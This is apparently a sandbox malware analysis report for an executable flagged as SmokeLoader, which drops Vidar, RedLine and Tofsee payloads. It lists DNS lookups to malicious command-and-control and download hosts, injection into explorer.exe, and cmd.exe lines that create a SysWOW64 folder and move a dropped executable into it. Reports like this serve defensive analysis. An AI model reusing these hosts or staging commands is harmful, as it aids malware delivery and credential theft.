Jan 14, 2022 21:05:40.777997971 CET	8.8.8.8	192.168.2.5	0xe780	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:40.949367046 CET	8.8.8.8	192.168.2.5	0xf572	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:41.115518093 CET	8.8.8.8	192.168.2.5	0x6af7	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:41.289719105 CET	8.8.8.8	192.168.2.5	0x53f1	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:41.467417002 CET	8.8.8.8	192.168.2.5	0xf55f	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:41.669790030 CET	8.8.8.8	192.168.2.5	0x9aa7	No error (0)	data-host-coin-8.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:45.002109051 CET	8.8.8.8	192.168.2.5	0x6528	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:45.177006006 CET	8.8.8.8	192.168.2.5	0x8d7c	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:45.388562918 CET	8.8.8.8	192.168.2.5	0xaab3	No error (0)	goo.su		172.67.139.105	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:45.388562918 CET	8.8.8.8	192.168.2.5	0xaab3	No error (0)	goo.su		104.21.38.221	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:45.901753902 CET	8.8.8.8	192.168.2.5	0xc70f	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:46.076894999 CET	8.8.8.8	192.168.2.5	0x618a	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:46.273220062 CET	8.8.8.8	192.168.2.5	0x1909	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:46.460666895 CET	8.8.8.8	192.168.2.5	0xa099	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:46.649183035 CET	8.8.8.8	192.168.2.5	0x2c58	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:46.880328894 CET	8.8.8.8	192.168.2.5	0x4dac	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:47.054697990 CET	8.8.8.8	192.168.2.5	0xda7c	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:54.481074095 CET	8.8.8.8	192.168.2.5	0x1e0c	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:54.648716927 CET	8.8.8.8	192.168.2.5	0xc241	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:56.130471945 CET	8.8.8.8	192.168.2.5	0x927a	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:56.298561096 CET	8.8.8.8	192.168.2.5	0xa1d	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:56.462627888 CET	8.8.8.8	192.168.2.5	0x77e6	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:56.639723063 CET	8.8.8.8	192.168.2.5	0xdc86	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:59.990679026 CET	8.8.8.8	192.168.2.5	0x109b	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:00.174967051 CET	8.8.8.8	192.168.2.5	0xa8a6	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:00.559953928 CET	8.8.8.8	192.168.2.5	0xa441	No error (0)	data-host-coin-8.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:03.830070972 CET	8.8.8.8	192.168.2.5	0x1cf8	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:04.031857014 CET	8.8.8.8	192.168.2.5	0xab6b	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:04.479187965 CET	8.8.8.8	192.168.2.5	0xc3c1	No error (0)	data-host-coin-8.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:05.771756887 CET	8.8.8.8	192.168.2.5	0xcdcd	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:06.013828039 CET	8.8.8.8	192.168.2.5	0x1c4	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:11.572953939 CET	8.8.8.8	192.168.2.5	0x40ed	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:11.819535017 CET	8.8.8.8	192.168.2.5	0x1d4c	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:12.016437054 CET	8.8.8.8	192.168.2.5	0xbaf8	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:12.193625927 CET	8.8.8.8	192.168.2.5	0xa8a5	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:12.238771915 CET	8.8.8.8	192.168.2.5	0x3b8e	No error (0)	patmushta.info		94.142.143.116	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:12.452526093 CET	8.8.8.8	192.168.2.5	0xe862	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:14.980345964 CET	8.8.8.8	192.168.2.5	0xc20d	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:15.163513899 CET	8.8.8.8	192.168.2.5	0x2ad7	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:15.351063967 CET	8.8.8.8	192.168.2.5	0x31ff	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:16.761666059 CET	8.8.8.8	192.168.2.5	0x3ccd	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:16.924042940 CET	8.8.8.8	192.168.2.5	0x497c	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:17.104187012 CET	8.8.8.8	192.168.2.5	0xc79c	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:18.450618029 CET	8.8.8.8	192.168.2.5	0x98a1	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:18.614340067 CET	8.8.8.8	192.168.2.5	0xa8de	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:18.853131056 CET	8.8.8.8	192.168.2.5	0x4b70	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:22.483175039 CET	8.8.8.8	192.168.2.5	0x471d	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:25.090707064 CET	8.8.8.8	192.168.2.5	0x577d	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:25.090707064 CET	8.8.8.8	192.168.2.5	0x577d	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:25.090707064 CET	8.8.8.8	192.168.2.5	0x577d	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:25.090707064 CET	8.8.8.8	192.168.2.5	0x577d	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:25.090707064 CET	8.8.8.8	192.168.2.5	0x577d	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:29.273663998 CET	8.8.8.8	192.168.2.5	0x710e	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Jan 14, 2022 21:06:29.303054094 CET	8.8.8.8	192.168.2.5	0x8279	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Jan 14, 2022 21:06:29.475207090 CET	8.8.8.8	192.168.2.5	0x7bba	No error (0)	ipwhois.app		136.243.172.101	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:29.765475035 CET	8.8.8.8	192.168.2.5	0xcbd5	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.212.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:29.765475035 CET	8.8.8.8	192.168.2.5	0xcbd5	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:29.765475035 CET	8.8.8.8	192.168.2.5	0xcbd5	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.53.36	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:29.765475035 CET	8.8.8.8	192.168.2.5	0xcbd5	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.54.36	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:29.765475035 CET	8.8.8.8	192.168.2.5	0xcbd5	No error (0)	microsoft-com.mail.protection.outlook.com		52.101.24.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:29.765475035 CET	8.8.8.8	192.168.2.5	0xcbd5	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:30.046150923 CET	8.8.8.8	192.168.2.5	0xa536	No error (0)	c9d0e790b353537889bd47a364f5acff43c11f248.xyz		185.112.83.97	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:30.232129097 CET	8.8.8.8	192.168.2.5	0xd2fb	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:30.232129097 CET	8.8.8.8	192.168.2.5	0xd2fb	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:30.232129097 CET	8.8.8.8	192.168.2.5	0xd2fb	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:30.232129097 CET	8.8.8.8	192.168.2.5	0xd2fb	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:30.232129097 CET	8.8.8.8	192.168.2.5	0xd2fb	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:30.473182917 CET	8.8.8.8	192.168.2.5	0x9061	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:32.947655916 CET	8.8.8.8	192.168.2.5	0xd453	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:34.743685961 CET	8.8.8.8	192.168.2.5	0xa787	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:34.869694948 CET	8.8.8.8	192.168.2.5	0x332d	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:34.869694948 CET	8.8.8.8	192.168.2.5	0x332d	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:34.869694948 CET	8.8.8.8	192.168.2.5	0x332d	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:34.869694948 CET	8.8.8.8	192.168.2.5	0x332d	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

xmmufccsxa.net

host-data-coin-11.com

ejoocwvno.net

ymxxgm.org

vxhncf.com

csftwsmo.net

fdbmpnrkfj.org

jxeebf.com

kxkku.net

data-host-coin-8.com

fdcyfq.net

lujat.com

ttjdaam.net

uqfbvly.com

privacy-tools-for-you-780.com

hwyvhm.net

idmvulr.net

unicupload.top

vooxhw.org

vvdrjru.com

ubjcetayse.org

sxcrq.org

ywlgtk.net

foglcav.com

hnhyhp.org

nefwc.net

185.7.214.171:8080

fsakwxty.com

jcjkx.net

lhgju.net

bsjhi.org

bypwmjeu.org

tmxneir.net

ukskogxssc.org

lnvtcbw.net

skipwlik.net

stogr.net

ldxocdirn.net

usarcmaqw.net

drmput.com

wktbs.org

ycnydaydt.net

ymgfpln.net

dxepeeelwv.net

rynnvo.org

kahaurdys.org

ttbac.net

aubfgyajhw.net

ryxvaojf.com

dusqhhm.org

wuqgjbcank.net

rcwmq.org

fgphlloppj.net

fasyb.com

81.163.30.181

qajnwkj.net

xcbxaaktm.org

74.201.28.62

pwvhyavumw.com

elaxxedw.com

wfytf.org

phwtttkmh.net

xdhynq.com

kpspxwto.net

fnyafy.net

cwjtumctb.net

psthjovmnc.org

takjt.net

umolln.net

ptkbedc.org

uoymbdayk.org

mqousgs.net

uhxofu.com

gmykjkt.net

quwfn.net

plgevhj.net

jwsdnsli.com

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: OG9rNsihJ7.exe PID: 4948 Parent PID: 5408

General

Start time:	21:04:12
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\OG9rNsihJ7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\OG9rNsihJ7.exe"
Imagebase:	0x400000
File size:	321024 bytes
MD5 hash:	5C7B46771055043F59E0451A342B7ED1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: OG9rNsihJ7.exe PID: 5424 Parent PID: 4948

General

Start time:	21:04:14
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\OG9rNsihJ7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\OG9rNsihJ7.exe"
Imagebase:	0x400000
File size:	321024 bytes
MD5 hash:	5C7B46771055043F59E0451A342B7ED1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.298084613.0000000000680000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.298215878.0000000001FA1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3472 Parent PID: 5424

General

Start time:	21:04:21
Start date:	14/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff693d90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000000.279897390.0000000003031000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3756 Parent PID: 556

General

Start time:	21:04:24
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4840 Parent PID: 556

General

Start time:	21:04:25
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6092 Parent PID: 556

General

Start time:	21:04:35
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 2600 Parent PID: 556

General

Start time:	21:04:36
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4568 Parent PID: 556

General

Start time:	21:04:36
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 2076 Parent PID: 556

General

Start time:	21:04:37
Start date:	14/01/2022
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff6999d0000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 1188 Parent PID: 556

General

Start time:	21:04:37
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6656 Parent PID: 556

General

Start time:	21:04:42
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: vfgiwcs PID: 6824 Parent PID: 904

General

Start time:	21:04:56
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\vfgiwcs
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\vfgiwcs
Imagebase:	0x400000
File size:	321024 bytes
MD5 hash:	5C7B46771055043F59E0451A342B7ED1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: vfgiwcs PID: 6840 Parent PID: 6824

General

Start time:	21:04:58
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\vfgiwcs
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\vfgiwcs
Imagebase:	0x400000
File size:	321024 bytes
MD5 hash:	5C7B46771055043F59E0451A342B7ED1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.349879535.00000000004A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.349992094.0000000001F51000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: B1B2.exe PID: 6924 Parent PID: 3472

General

Start time:	21:05:00
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\B1B2.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B1B2.exe
Imagebase:	0x400000
File size:	301056 bytes
MD5 hash:	277680BD3182EB0940BC356FF4712BEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	moderate

Chronological Activities

Analysis Process: svchost.exe PID: 6976 Parent PID: 556

General

Start time:	21:05:03
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: BFBD.exe PID: 6984 Parent PID: 3472

General

Start time:	21:05:04
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\BFBD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BFBD.exe
Imagebase:	0x400000
File size:	321024 bytes
MD5 hash:	5C7B46771055043F59E0451A342B7ED1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: WerFault.exe PID: 7020 Parent PID: 6976

General

Start time:	21:05:04
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6924 -ip 6924
Imagebase:	0xe40000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: BFBD.exe PID: 7140 Parent PID: 6984

General

Start time:	21:05:08
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\BFBD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BFBD.exe
Imagebase:	0x400000
File size:	321024 bytes
MD5 hash:	5C7B46771055043F59E0451A342B7ED1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000018.00000002.366966979.00000000004B0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000018.00000002.366989519.00000000004D1000.00000004.00020000.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 7148 Parent PID: 556

General

Start time:	21:05:08
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 7156 Parent PID: 6924

General

Start time:	21:05:08
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 520
Imagebase:	0xe40000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 254E.exe PID: 1268 Parent PID: 3472

General

Start time:	21:05:08
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\254E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\254E.exe
Imagebase:	0x400000
File size:	324096 bytes
MD5 hash:	41AB3EFA04441E560A279BD0F7C0503D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000002.357825450.000000000083A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000001C.00000002.357825450.000000000083A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000001C.00000002.357794608.000000000081A000.00000004.00000020.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: 3136.exe PID: 5060 Parent PID: 3472

General

Start time:	21:05:12
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\3136.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3136.exe
Imagebase:	0x400000
File size:	321536 bytes
MD5 hash:	023802260A0216012A5F00079406D967
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001D.00000003.362218485.00000000007F0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: 3BC6.exe PID: 6244 Parent PID: 3472

General

Start time:	21:05:15
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\3BC6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3BC6.exe
Imagebase:	0x650000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000002.412827478.0000000003991000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 89%, ReversingLabs

Chronological Activities

Analysis Process: cmd.exe PID: 5992 Parent PID: 5060

General

Start time:	21:05:16
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ffiawxs\
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6028 Parent PID: 5992

General

Start time:	21:05:17
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 1928 Parent PID: 5060

General

Start time:	21:05:17
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe" C:\Windows\SysWOW64\ffiawxs\
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 2272 Parent PID: 1928

General

Start time:	21:05:18
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
